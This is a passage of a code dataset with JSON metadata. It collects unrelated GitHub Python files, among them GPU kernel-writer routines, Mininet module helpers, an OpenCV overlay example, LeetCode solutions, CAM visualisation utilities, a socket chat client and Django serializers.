kernel[\"MIRegPerOut\"] + r\n        srcIdx = ((i * kernel[\"MIRegPerOut\"] + r) + (cm*accImOffset))\n        if not kernel[\"MIArchVgpr\"]:\n          accStr = accvgpr(srcIdx)\n          imod.itemList[destIdx] =  VAccvgprReadB32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                            src=accStr,\n                                                            comment=\"copy acc to vreg[%u]\" % destIdx)\n        else:\n          imod.itemList[destIdx] =  VMovB32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                            src=vgpr(\"ValuC+%u\"%srcIdx),\n                                                            comment=\"copy MI out reg to vreg[%u]\" % destIdx)\n  return imod\n\n##############################################################################\n# MulMIoutAlphaToArch\n# function to handle MFMA alpha*MIout to Arch VGPR register\n##############################################################################\ndef mulMIoutAlphaToArch(kernel, startVgprAlphaTmp):\n  acc2arch, _ = accToArchMapper(kernel)\n\n  imod = Module(\"MulAlpha\")\n  imod.itemList = [None] * len(acc2arch)\n  for i in range(len(acc2arch)):\n    destIdx = acc2arch[i]\n    srcIdx  = i * kernel[\"MIRegPerOut\"]\n    if kernel[\"ProblemType\"][\"ComputeDataType\"].isDouble():\n      imod.itemList[destIdx] = VMulF64(dst=vgpr(Holder(name=\"ValuC\"),2),\n                                                    src0=sgpr(\"Alpha\",2), src1=vgpr(\"ValuC+%u\"%srcIdx,2),\n                                                    comment=\"Multiply MI out reg with alpha\")\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isSingle() or \\\n        (kernel[\"ProblemType\"][\"ComputeDataType\"].isHalf() and kernel[\"ProblemType\"][\"HighPrecisionAccumulate\"]):\n      imod.itemList[destIdx] = VMulF32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                    src0=sgpr(\"Alpha\"), src1=vgpr(\"ValuC+%u\"%srcIdx),\n                                                    comment=\"Multiply MI out reg with alpha\")\n    elif (kernel[\"ProblemType\"][\"ComputeDataType\"].isHalf() and not kernel[\"ProblemType\"][\"HighPrecisionAccumulate\"]):\n        imod.itemList[destIdx] = VMulPKF16(dst=vgpr(Holder(name=\"ValuC\")),\n                                                       src0=sgpr(\"Alpha\"),\n                                                       src1=vgpr(\"ValuC+%u\"%srcIdx), comment=\"Multiply MI out reg with alpha\")\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isInt32():\n      imod.itemList[destIdx] = VMulLOU32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                      src0=sgpr(\"Alpha\"), src1=vgpr(\"ValuC+%u\"%srcIdx),\n                                                       comment=\"Multiply MI out reg with alpha\")\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isSingleComplex():\n        accImOffset = accVgprImagNumOffset(kernel, lrvwB)\n        cimod = Module()\n        # cannot use tmp vgpr for write batch, use allocated vgpr instead\n        vtmp1 = startVgprAlphaTmp\n        vtmp2 = vtmp1 + 1\n        # tmp1 = a.real * b.real\n        cimod.add(VMulF32(dst=vgpr(vtmp1), src0=sgpr(\"Alpha+0\"), src1=vgpr(\"ValuC+%u\"%srcIdx), comment=\"\"))\n        # tmp2 = a.imag * b.real\n        cimod.add(VMulF32(dst=vgpr(vtmp2), src0=sgpr(\"Alpha+1\"), src1=vgpr(\"ValuC+%u\"%srcIdx), comment=\"\"))\n        # c.real = a.real * b.real - a.imag * b.imag = tmp1 - a.imag * b.imag\n        cimod.add(VFmaF32(dst=vgpr(Holder(name=\"ValuC\")), src0=sgpr(\"Alpha+1\"), src1=vgpr(\"ValuC+%u\"%(srcIdx+accImOffset)), src2=vgpr(vtmp1)))\n        # c.imag = a.real * b.imag + a.imag * b.real = a.real * b.imag + tmp2\n        cimod.add(VFmaF32(dst=vgpr(Holder(name=\"ValuC+1\")), src0=sgpr(\"Alpha+0\"), src1=vgpr(\"ValuC+%u\"%(srcIdx+accImOffset)), src2=vgpr(vtmp2)))\n        imod.itemList[destIdx] = cimod\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isDoubleComplex():\n      accImOffset = accVgprImagNumOffset(kernel)\n      cimod = Module()\n      # cannot use tmp vgpr for write batch, use allocated vgpr instead\n      vtmp1 = startVgprAlphaTmp\n      vtmp2 = vtmp1 + 2\n      # tmp1 = a.real * b.real\n      cimod.add(VMulF64(dst=vgpr(vtmp1,2), src0=sgpr(\"Alpha+0\",2), src1=vgpr(\"ValuC+%u\"%srcIdx,2)))\n      # tmp2 = a.imag * b.real\n      cimod.add(VMulF64(dst=vgpr(vtmp2,2), src0=sgpr(\"Alpha+2\",2), src1=vgpr(\"ValuC+%u\"%srcIdx,2)))\n      # c.real = a.real * b.real - a.imag * b.imag = tmp1 - a.imag * b.imag\n      cimod.add(VFmaF64(dst=vgpr(Holder(name=\"ValuC\"),2), src0=sgpr(\"Alpha+2\",2), src1=vgpr(\"ValuC+%u\"%(srcIdx+accImOffset),2), src2=vgpr(vtmp1,2)))\n      # c.imag = a.real * b.imag + a.imag * b.real = a.real * b.imag + tmp2\n      cimod.add(VFmaF64(dst=vgpr(Holder(name=\"ValuC+2\"),2), src0=sgpr(\"Alpha+0\",2), src1=vgpr(\"ValuC+%u\"%(srcIdx+accImOffset),2), src2=vgpr(vtmp2,2)))\n      imod.itemList[destIdx] = cimod\n  return imod\n\n  ##############################################################################\n  # MoveMIoutToArch\n  # function to handle MFMA MIout to Arch VGPR register\n  ##############################################################################\ndef moveMIoutToArch(kernel, startVgprAlphaTmp):\n  acc2arch, _ = accToArchMapper(kernel)\n\n  imod = Module(\"MulAlpha\")\n  imod.itemList = [None] * len(acc2arch)\n  for i in range(len(acc2arch)):\n    destIdx = acc2arch[i]\n    srcIdx  = i * kernel[\"MIRegPerOut\"]\n    if kernel[\"ProblemType\"][\"ComputeDataType\"].isDouble():\n      imod.itemList[destIdx] = VLShiftLeftB64(dst=vgpr(Holder(name=\"ValuC\"), 2),\n                                                     shiftHex=0,\n                                                     src=vgpr(\"ValuC+%u\"%srcIdx,2), comment=\"Rearrange MI out reg\")\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isSingle() or \\\n        (kernel[\"ProblemType\"][\"ComputeDataType\"].isHalf() and kernel[\"ProblemType\"][\"HighPrecisionAccumulate\"]):\n      imod.itemList[destIdx] = VMovB32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                     src=vgpr(\"ValuC+%u\"%srcIdx), comment=\"Rearrange MI out reg\")\n    elif (kernel[\"ProblemType\"][\"ComputeDataType\"].isHalf() and not kernel[\"ProblemType\"][\"HighPrecisionAccumulate\"]):\n      imod.itemList[destIdx] = VMovB32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                     src=vgpr(\"ValuC+%u\"%srcIdx), comment=\"Rearrange MI out reg\")\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isInt32():\n      imod.itemList[destIdx] = VMovB32(dst=vgpr(Holder(name=\"ValuC\")),\n                                                     src=vgpr(\"ValuC+%u\"%srcIdx), comment=\"Rearrange MI out reg\")\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isSingleComplex():\n        accImOffset = accVgprImagNumOffset(kernel, lrvwB)\n        cimod = Module()\n        cimod.add(VMovB32(dst=vgpr(Holder(name=\"ValuC\")), src=vgpr(\"ValuC+%u\"%srcIdx), comment=\"Rearrange MI out reg\"))\n        cimod.addInst(VMovB32(dst=vgpr(Holder(name=\"ValuC+1\")), src=vgpr(\"ValuC+%u\"%(srcIdx+accImOffset)), comment=\"Rearrange MI out reg\"))\n        imod.itemList[destIdx] = cimod\n    elif kernel[\"ProblemType\"][\"ComputeDataType\"].isDoubleComplex():\n      accImOffset = accVgprImagNumOffset(kernel, lrvwB)\n      cimod = Module()\n      # tmp1 = a.real * b.real\n      cimod.add(VLShiftLeftB64(dst=vgpr(Holder(name=\"ValuC\"), 2), shiftHex=0, src=vgpr(\"ValuC+%u\"%srcIdx,2), comment=\"Rearrange MI out reg\"))\n      # tmp2 = a.imag * b.real\n      cimod.add(VLShiftLeftB64(dst=vgpr(Holder(name=\"ValuC+2\"), 2), shiftHex=0, src=vgpr(\"ValuC+%u\"%(srcIdx+accImOffset),2), comment=\"Rearrange MI out reg\"))\n      imod.itemList[destIdx] = cimod\n\n  return imod\n\n","repo_name":"ROCmSoftwarePlatform/hipBLASLt","sub_path":"tensilelite/Tensile/KernelWriterModules.py","file_name":"KernelWriterModules.py","file_ext":"py","file_size_in_byte":16910,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"}
+{"seq_id":"5577268854","text":"\"Module dependency utility functions for Mininet.\"\n\nfrom os import environ\nfrom sys import exit  # pylint: disable=redefined-builtin\n\nfrom mininet.util import quietRun, BaseString\nfrom mininet.log import info, error, debug\n\n\ndef lsmod():\n    \"Return output of lsmod.\"\n    return quietRun( 'lsmod' )\n\ndef rmmod( mod ):\n    \"\"\"Return output of lsmod.\n       mod: module string\"\"\"\n    return quietRun( [ 'rmmod', mod ] )\n\ndef modprobe( mod ):\n    \"\"\"Return output of modprobe\n       mod: module string\"\"\"\n    return quietRun( [ 'modprobe', mod ] )\n\n\nOF_KMOD = 'ofdatapath'\nOVS_KMOD = 'openvswitch_mod'  # Renamed 'openvswitch' in OVS 1.7+/Linux 3.5+\nTUN = 'tun'\n\ndef moduleDeps( subtract=None, add=None ):\n    \"\"\"Handle module dependencies.\n       subtract: string or list of module names to remove, if already loaded\n       add: string or list of module names to add, if not already loaded\"\"\"\n    subtract = subtract if subtract is not None else []\n    add = add if add is not None else []\n    if isinstance( subtract, BaseString ):\n        subtract = [ subtract ]\n    if isinstance( add, BaseString ):\n        add = [ add ]\n    for mod in subtract:\n        if mod in lsmod():\n            info( '*** Removing ' + mod + '\\n' )\n            rmmodOutput = rmmod( mod )\n            if rmmodOutput:\n                error( 'Error removing ' + mod + ': \"%s\">\\n' % rmmodOutput )\n                exit( 1 )\n            if mod in lsmod():\n                error( 'Failed to remove ' + mod + '; still there!\\n' )\n                exit( 1 )\n    for mod in add:\n        if mod not in lsmod():\n            info( '*** Loading ' + mod + '\\n' )\n            modprobeOutput = modprobe( mod )\n            if modprobeOutput:\n                error( 'Error inserting ' + mod +\n                       ' - is it installed and available via modprobe?\\n' +\n                       'Error was: \"%s\"\\n' % modprobeOutput )\n            if mod not in lsmod():\n                error( 'Failed to insert ' + mod + ' - quitting.\\n' )\n                exit( 1 )\n        else:\n            debug( '*** ' + mod + ' already loaded\\n' )\n\n\ndef pathCheck( *args, **kwargs ):\n    \"Make sure each program in *args can be found in $PATH.\"\n    moduleName = kwargs.get( 'moduleName', 'it' )\n    for arg in args:\n        if not quietRun( 'which ' + arg ):\n            error( 'Cannot find required executable %s.\\n' % arg +\n                   'Please make sure that %s is installed ' % moduleName +\n                   'and available in your $PATH:\\n(%s)\\n' % environ[ 'PATH' ] )\n            exit( 1 )\n","repo_name":"mininet/mininet","sub_path":"mininet/moduledeps.py","file_name":"moduledeps.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":4978,"dataset":"github-code","pt":"21"}
+{"seq_id":"34957198598","text":"import cv2\n\nimg1 = cv2.imread('resize_model1.jpg')\nimg2 = cv2.imread('opencv-logo-white.png')\n\n# I want to put logo on top-left corner, So I create a ROI\nrows, cols, channels = img2.shape\nprint(rows, cols, channels)         # 222 180 3\n\nroi = img1[0:rows, 0:cols]\n\n# Now create a mask of logo and create its inverse mask also\nimg2gray = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\nret, mask = cv2.threshold(img2gray, 10, 255, cv2.THRESH_BINARY)\nmask_inv = cv2.bitwise_not(mask)\n\n# Now black-out the area of logo in ROI\nimg1_bg = cv2.bitwise_and(roi, roi, mask=mask_inv)\n\n# Take only region of logo from logo image.\nimg2_fg = cv2.bitwise_and(img2, img2, mask=mask)\n\n# Put logo in ROI and modify the main image\ndst = cv2.add(img1_bg, img2_fg)\nimg1[0:rows, 0:cols] = dst\n\ncv2.imshow('bg', img1_bg)\ncv2.imshow('fg', img2_fg)\n\ncv2.imshow('res', img1)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"jacegem/OpenCV-Python-Tutorials","sub_path":"08. 이미지의 산술 연산/03 비트 연산.py","file_name":"03 비트 연산.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"38507390837","text":"# given two integers dividend and divisor divide 2 ints\n# without using division multiplication and mod operator\n#return the quotient / answer and truncate toward zero\n#ie truncate(8.345)=8\n#2^31 - 1 when division result overdlows\n\n#this works leetcode just exceeds recursion limit\n\nimport timeit\nstart=timeit.default_timer()\n\nclass Solution:\n    def divide(self,dividend: int, divisor: int) -> int:\n        output=0\n        dividendbool=False\n        divisorbool=False\n        if dividend <=0:\n            dividendbool=True\n            dividend *=-1\n        if divisor <=0:\n            divisorbool=True\n            divisor *= -1\n        result=dividend-divisor\n        if result>=0:\n            output+=1\n            output+=Solution.divide(self,result,divisor)\n        if -2147483649 >= output >= 2147483647: # test that it falls in appropriate region\n            return 2147483647\n\n        if (dividendbool==False and divisorbool==False) or (dividendbool==True and divisorbool==True):\n            return output\n        else:\n            return output*-1\n\n\ns=Solution()\nx=Solution.divide(s,88,4)\nprint(x)\n\n\n","repo_name":"conordrayton/Leetcode","sub_path":"divide.py","file_name":"divide.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18322822413","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import LabelEncoder\n\nfrom app.kernel.kernel import Kernel\n\n\nclass LogisticKernel(Kernel):\n\n    def __init__(self, kernel_id):\n        super().__init__(kernel_id)\n        self.reg: LogisticRegression or None = None\n        self.le = LabelEncoder()\n\n    def fit(self):\n        reg = LogisticRegression()\n\n        data = self.data\n        labels, features = zip(*[(it['label'], it['features']) for it in data['data']])\n        labels = np.array(labels)\n        encoded_labels = self.le.fit_transform(np.array(labels).reshape(len(labels), 1))\n\n        reg.fit(pd.DataFrame(features).values, encoded_labels)\n        self.reg = reg\n\n    def predict_one(self, features):\n        encoded_result = self.reg.predict([list(features.values())])[0]\n        return self.le.inverse_transform([encoded_result])[0]\n","repo_name":"donautech/behaiv-remote-kernel","sub_path":"app/kernel/logistic/LogisticRegressionKernel.py","file_name":"LogisticRegressionKernel.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"15324389615","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\nfrom tensorflow.keras import backend as K\nfrom tensorflow.keras.models import Model\nimport gc\n\ntf.compat.v1.disable_eager_execution()\n\ndef normalize(x):\n        \"\"\"Utility function to normalize a tensor by its L2 norm\"\"\"\n        return (x + 1e-10) / (K.sqrt(K.mean(K.square(x))) + 1e-10)\n\ndef GradCam(model, img_array, layer_name):\n    cls = np.argmax(model.predict(img_array))\n    \n    \"\"\"GradCAM method for visualizing input saliency.\"\"\"\n    y_c = model.output[0, cls]\n    conv_output = model.get_layer(layer_name).output\n    grads = tf.gradients(y_c, conv_output)[0]\n    # grads = normalize(grads)\n\n    gradient_function = K.function([model.input], [conv_output, grads])\n    output, grads_val = gradient_function([img_array])\n    output, grads_val = output[0, :], grads_val[0, :, :, :]\n    weights = np.mean(grads_val, axis=(0, 1))\n\n    cam = np.dot(output, weights)\n    cam = np.maximum(cam, 0)  # Passing through ReLU\n    cam /= np.max(cam)  # scale 0 to 1.0  \n\n    return cam\n\ndef GradCamPlusPlus(model, img_array, layer_name):\n    cls = np.argmax(model.predict(img_array))\n    y_c = model.output[0, cls]\n    conv_output = model.get_layer(layer_name).output\n    grads = tf.gradients(y_c, conv_output)[0]\n    # grads = normalize(grads)\n\n    first = K.exp(y_c)*grads\n    second = K.exp(y_c)*grads*grads\n    third = K.exp(y_c)*grads*grads*grads\n\n    gradient_function = K.function([model.input], [y_c,first,second,third, conv_output, grads])\n    y_c, conv_first_grad, conv_second_grad,conv_third_grad, conv_output, grads_val = gradient_function([img_array])\n    global_sum = np.sum(conv_output[0].reshape((-1,conv_first_grad[0].shape[2])), axis=0)\n\n    alpha_num = conv_second_grad[0]\n    alpha_denom = conv_second_grad[0]*2.0 + conv_third_grad[0]*global_sum.reshape((1,1,conv_first_grad[0].shape[2]))\n    alpha_denom = np.where(alpha_denom != 0.0, alpha_denom, np.ones(alpha_denom.shape))\n    alphas = alpha_num/alpha_denom\n\n    weights = np.maximum(conv_first_grad[0], 0.0)\n    alpha_normalization_constant = np.sum(np.sum(alphas, axis=0),axis=0)\n    alphas /= alpha_normalization_constant.reshape((1,1,conv_first_grad[0].shape[2]))\n    deep_linearization_weights = np.sum((weights*alphas).reshape((-1,conv_first_grad[0].shape[2])),axis=0)\n\n    cam = np.sum(deep_linearization_weights*conv_output[0], axis=2)\n    cam = np.maximum(cam, 0)  # Passing through ReLU\n    cam /= np.max(cam) # scale 0 to 1.0  \n\n    return cam\n\ndef softmax(x):\n    f = np.exp(x)/np.sum(np.exp(x), axis = 1, keepdims = True)\n    return f\n\ndef ScoreCam(model, img_array, layer_name, max_N=-1):\n\n    cls = np.argmax(model.predict(img_array))\n    act_map_array = Model(inputs=model.input, outputs=model.get_layer(layer_name).output).predict(img_array)\n    \n    # extract effective maps\n    if max_N != -1:\n        act_map_std_list = [np.std(act_map_array[0,:,:,k]) for k in range(act_map_array.shape[3])]\n        unsorted_max_indices = np.argpartition(-np.array(act_map_std_list), max_N)[:max_N]\n        max_N_indices = unsorted_max_indices[np.argsort(-np.array(act_map_std_list)[unsorted_max_indices])]\n        act_map_array = act_map_array[:,:,:,max_N_indices]\n\n    input_shape = model.layers[0].output_shape[0][1:]  # get input shape\n    # 1. upsampled to original input size\n    act_map_resized_list = [cv2.resize(act_map_array[0,:,:,k], input_shape[:2], interpolation=cv2.INTER_LINEAR) for k in range(act_map_array.shape[3])]\n    # 2. normalize the raw activation value in each activation map into [0, 1]\n    act_map_normalized_list = []\n    for act_map_resized in act_map_resized_list:\n        if np.max(act_map_resized) - np.min(act_map_resized) != 0:\n            act_map_normalized = act_map_resized / (np.max(act_map_resized) - np.min(act_map_resized))\n        else:\n            act_map_normalized = act_map_resized\n        act_map_normalized_list.append(act_map_normalized)\n    # 3. project highlighted area in the activation map to original input space by multiplying the normalized activation map\n    masked_input_list = []\n    for act_map_normalized in act_map_normalized_list:\n        masked_input = np.copy(img_array)\n        for k in range(3):\n            masked_input[0,:,:,k] *= act_map_normalized\n        masked_input_list.append(masked_input)\n    masked_input_array = np.concatenate(masked_input_list, axis=0)\n    # 4. feed masked inputs into CNN model and softmax\n    pred_from_masked_input_array = softmax(model.predict(masked_input_array))\n    # 5. define weight as the score of target class\n    weights = pred_from_masked_input_array[:,cls]\n    # 6. get final class discriminative localization map as linear weighted combination of all activation maps\n    cam = np.dot(act_map_array[0,:,:,:], weights)\n    cam = np.maximum(0, cam)  # Passing through ReLU\n    cam /= np.max(cam)  # scale 0 to 1.0\n    \n    return cam\n\ndef superimpose(original_img_path, cam, emphasize=False):\n    \n    img_bgr = cv2.imread(original_img_path)\n\n    heatmap = cv2.resize(cam, (img_bgr.shape[1], img_bgr.shape[0]))\n    if emphasize:\n        heatmap = sigmoid(heatmap, 50, 0.5, 1)\n    heatmap = np.uint8(255 * heatmap)\n    heatmap = cv2.applyColorMap(heatmap, cv2.COLORMAP_JET)\n    \n    hif = .8\n    superimposed_img = heatmap * hif + img_bgr\n    superimposed_img = np.minimum(superimposed_img, 255.0).astype(np.uint8)  # scale 0 to 255  \n    superimposed_img_rgb = cv2.cvtColor(superimposed_img, cv2.COLOR_BGR2RGB)\n    \n    return superimposed_img_rgb\n\nimport tensorflow.keras\n\nimport tensorflow as tf\nfrom tensorflow.python.framework import ops\nfrom tensorflow.keras.applications.vgg16 import preprocess_input\n\ndef build_guided_model(build_model_function):\n    \"\"\"Function returning modified model.\n    \n    Changes gradient function for all ReLu activations according to Guided Backpropagation.\n    \"\"\"\n    if \"GuidedBackProp\" not in ops._gradient_registry._registry:\n        @ops.RegisterGradient(\"GuidedBackProp\")\n        def _GuidedBackProp(op, grad):\n            dtype = op.inputs[0].dtype\n            return grad * tf.cast(grad > 0., dtype) * \\\n                   tf.cast(op.inputs[0] > 0., dtype)\n\n    g = tf.compat.v1.get_default_graph()\n    with g.gradient_override_map({'Relu': 'GuidedBackProp'}):\n        new_model = build_model_function()\n    return new_model\n\ndef GuidedBackPropagation(model, img_array, layer_name):\n    model_input = model.input\n    layer_output = model.get_layer(layer_name).output\n    max_output = K.max(layer_output, axis=3)\n    grads = tf.gradients(max_output, model_input)[0]\n    get_output = K.function([model_input], [grads])\n    saliency = get_output([img_array])\n    saliency = np.clip(saliency[0][0], 0.0, 1.0)  # scale 0 to 1.0  \n    return saliency\n\ndef sigmoid(x, a, b, c):\n    return c / (1 + np.exp(-a * (x-b)))\n\nfrom tensorflow.keras.preprocessing.image import load_img, img_to_array\n\ndef read_and_preprocess_img(path, size=(224,224)):\n    img = load_img(path, target_size=size)\n    x = img_to_array(img)\n    x = np.expand_dims(x, axis=0)\n    x = preprocess_input(x)\n    return x","repo_name":"tabayashi0117/Score-CAM","sub_path":"gradcamutils.py","file_name":"gradcamutils.py","file_ext":"py","file_size_in_byte":7093,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"21"}
+{"seq_id":"36652595393","text":"# You are given the heads of two sorted linked lists list1 and list2.\n# Merge the two lists in a one sorted list. The list should be made by splicing together the nodes of the first two lists.\n# Return the head of the merged linked list.\n\n# Ex 1:\n# Input: list1 = [1,2,4], list2 = [1,3,4]\n# Output: [1,1,2,3,4,4]\n# Example 2:\n\n# Input: list1 = [], list2 = []\n# Output: []\n# Example 3:\n\n# Input: list1 = [], list2 = [0]\n# Output: [0]\n\n# Constraints:\n\n# The number of nodes in both lists is in the range [0, 50].\n# -100 <= Node.val <= 100\n# Both list1 and list2 are sorted in non-decreasing order.\n\n# Solution 1 : Iterative Approach\n# First you initialize dummy and temp. One is sitting at the start of the linkedlist and the other (temp) is going to move forward\n#  find which value should be added to the list. Note that it's initialized with a value 0 but it can be anything! You initialize \n#  it with your value of choice! Doesn't matter since we're going to finally return dummy.next which disregards 0 that we used to \n#  start the linkedlist. Line #1 makes sure none of the l1 and l2 are empty! If one of them is empty, \n#  we should return the other! If both are nonempty, we check val of each of them to add the smaller one to the result linkedlist! \n#  In line #2, l1.val is smaller and we want to add it to the list. How? We use temp POINTER (it's pointer, remember that!). \n#  Since we initialized temp to have value 0 at first node, we use temp.next to point 0 to the next value we're going to add to \n#  the list l1.val (line #3). Once we do that, we update l1 to go to the next node of l1. If the if statement of line #2 doesn't work, we do similar stuff with l2. And finally, if the length of l1 and l2 are not the same, we're going to the end of one of them at some point! Line #5 adds whatever left from whatever linkedlist to the temp.next (check the above video for a great explanation of this part). Note that both linkedlists were sorted initially. Also, this line takes care of when one of the linkedlists are empty. Finally, we return dummy.next since dummy is pointing to 0 and next to zero is what we've added throughout the process.\n\n# Time: O(m+n) which is the lenght of 2 ll's, Space : O(1)\n\nclass Solution:\n    def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:   \n        dummy = temp = ListNode(0)\n        while l1 and l2: #1\n\n            if l1.val < l2.val: #2\n                temp.next = l1 #3\n                l1 = l1.next #4\n            else: \n                temp.next = l2\n                l2 = l2.next\n            temp = temp.next   # IMP : Move on to the next element\n        temp.next = l1 or l2  #5\n        return dummy.next #6\n\n# Solution 2 : Recursive Approach\n# Another way of solving is problem is by doing recursion. The first check is obvious! If one of them is empty, return the other one! Similar to line \n#5 of previous solution. Here, we have two cases, whatever list has the smaller first element (equal elements also satisfies line #1), will be returned at the end. \n# In the example l1 = [1,2,4], l2 = [1,3,4], we go in the if statement of line #1 first, this means that the first element of l1 doesn't get changed! Then, we move the pointer to the second element of l1 by calling the function again but with l1.next and l2 as input! This round of call, goes to line #2 because now we have element 1 from l2 versus 2 from l1. Now, basically, l2 gets connected to the tail of l1. \n# We keep moving forward by switching between l1 and l2 until the last element. \n\nclass Solution:\n    def mergeTwoLists(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n        if not l1 or not l2:\n            return l1 or l2\n        if l1.val <= l2.val: #1\n            l1.next = self.mergeTwoLists(l1.next, l2)\n            return l1\n        else: #2\n            l2.next = self.mergeTwoLists(l1, l2.next)\n            return l2 ","repo_name":"nischal-hp/Coding-Problems","sub_path":"Linked List/MergeTwoSortedLists.py","file_name":"MergeTwoSortedLists.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27574770755","text":"import socket\n\n\n\nserver=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\nhost=\"105.165.63.122\"\nport=7636\n\nserver.connect((host,port))\nprint(\"waiting for messages..\")\n\nwhile True:\n    server_messg=server.recv(1024)\n\n    print(\"received:\",server_messg.decode())\n\n    client_messg=input(\"sent:\")\n    server.send(client_messg.encode())\n","repo_name":"Rogendo/Sending-text-messages","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29384468341","text":"from rest_framework import serializers\r\n\r\nfrom .models import Customer, Address, Order, OrderItems\r\n\r\nclass CustomerSerializer(serializers.ModelSerializer):\r\n    class Meta:\r\n        model = Customer\r\n        fields = \"__all__\"\r\n\r\n    def create(self, validated_data):\r\n        return Customer.objects.create(**validated_data)\r\n\r\n    def update(self, instance, validated_data):\r\n        instance.first_name = validated_data.get('first_name', instance.first_name)\r\n        instance.last_name = validated_data.get('last_name', instance.last_name)\r\n        instance.prime_customer = validated_data.get('prime_customer', instance.preferred_customer)\r\n        instance.customer_since = validated_data.get('customer_since', instance.customer_since)\r\n\r\n        instance.save()\r\n        return instance\r\n\r\nclass AddressSerializer(serializers.ModelSerializer):\r\n    class Meta:\r\n        model = Address\r\n        fields = \"__all__\"\r\n\r\n    def create(self, validated_data):\r\n        return Address.objects.create(**validated_data)\r\n\r\n    def update(self, instance, validated_data):\r\n        instance.street = validated_data.get('street', instance.street)\r\n        instance.city = validated_data.get('city', instance.city)\r\n        instance.state = validated_data.get('state', instance.state)\r\n        instance.zip_code = validated_data.get('zip_code', instance.zip_code)\r\n\r\n        instance.save()\r\n        return instance\r\n\r\nclass OrderSerializer(serializers.ModelSerializer):\r\n    class Meta:\r\n        model = Order\r\n        fields = \"__all__\"\r\n\r\n    def create(self, validated_data):\r\n        return Order.objects.create(**validated_data)\r\n\r\n    def update(self, instance, validated_data):\r\n        instance.order_number = validated_data.get('order_number', instance.order_number)\r\n        instance.item_description = validated_data.get('item_description', instance.item_description)\r\n        instance.item_quantity = validated_data.get('item_quantity', instance.item_quantity)\r\n        instance.payment_type = validated_data.get('payment_type', instance.payment_type)\r\n        instance.account_number = validated_data.get('account_number', instance.account_number)\r\n\r\n        instance.save()\r\n        return instance\r\n\r\nclass OrderItemsSerializer(serializers.ModelSerializer):\r\n    print('test1')\r\n    class Meta:\r\n        print('test2')\r\n        model = OrderItems\r\n        fields = \"__all__\"\r\n\r\n    def create(self, validated_data):\r\n        print('test3')\r\n        return OrderItems.objects.create(**validated_data)\r\n\r\n    def update(self, instance, validated_data):\r\n        print('test4')\r\n        instance.item_description = validated_data.get('item_description', instance.item_description)\r\n        instance.item_quantity = validated_data.get('item_quantity', instance.item_quantity)\r\n\r\n        instance.save()\r\n        return instance\r\n","repo_name":"mattcodesz/DjangoProject","sub_path":"FinalProject/FinalApp/Serializers.py","file_name":"Serializers.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"43936060830","text":"from mellinger_trj_nlopt import Mellinger\nimport rospy\nfrom polynomialTrjNonlinear.vertex import Vertex\n\n\nclass CentrolizedController(object):\n    def __init__(self):\n        dimension = 3\n        self.quads = [\n                      Mellinger('hummingbird_0', 0.95, 0.0, 0.35),\n                      Mellinger('hummingbird_1', 0.0, 0.95, 0.35),\n                      Mellinger('hummingbird_2', -0.95, 0.0, 0.35),\n                      Mellinger('hummingbird_3', 0.0, -0.95, 0.35)\n                      ]\n        self.num_of_quads = 4\n\n        vertices = []\n        vertex0 = Vertex(dimension=dimension, index=0)\n        start_position = [0.0, 0.0, 0.0]\n        start_velocity = [0.0, 0.0, 0.0]\n        for nl_opt in self.quads:\n            nl_opt.planner.construct_constrain(vertex0, order=0, input_list=start_position)\n            nl_opt.planner.construct_constrain(vertex0, order=1, input_list=start_velocity)\n\n        vertex0.makeStartOrEnd(position=start_position, up_to_order=4)\n\n        vertex1 = Vertex(dimension=dimension, index=1)\n\n        position = [2.0, 0.0, 2.0]\n        velocity = [0.0, 0.0, 0.0]\n        for nl_opt in self.quads:\n            nl_opt.planner.construct_constrain(vertex1, order=0, input_list=position)\n            nl_opt.planner.construct_constrain(vertex1, order=1, input_list=velocity)\n\n        vertex2 = Vertex(dimension=dimension, index=2)\n        position = [4.0, 0.0, 4.0]\n        velocity = [0.0, 0.0, 0.0]\n        for nl_opt in self.quads:\n            nl_opt.planner.construct_constrain(vertex2, order=0, input_list=position)\n            nl_opt.planner.construct_constrain(vertex2, order=1, input_list=velocity)\n\n        vertex2.makeStartOrEnd(position=position, up_to_order=4)\n\n        vertices.append(vertex0)\n        vertices.append(vertex1)\n        vertices.append(vertex2)\n\n        times = [3.89891, 3.91507]\n\n        for nl_opt in 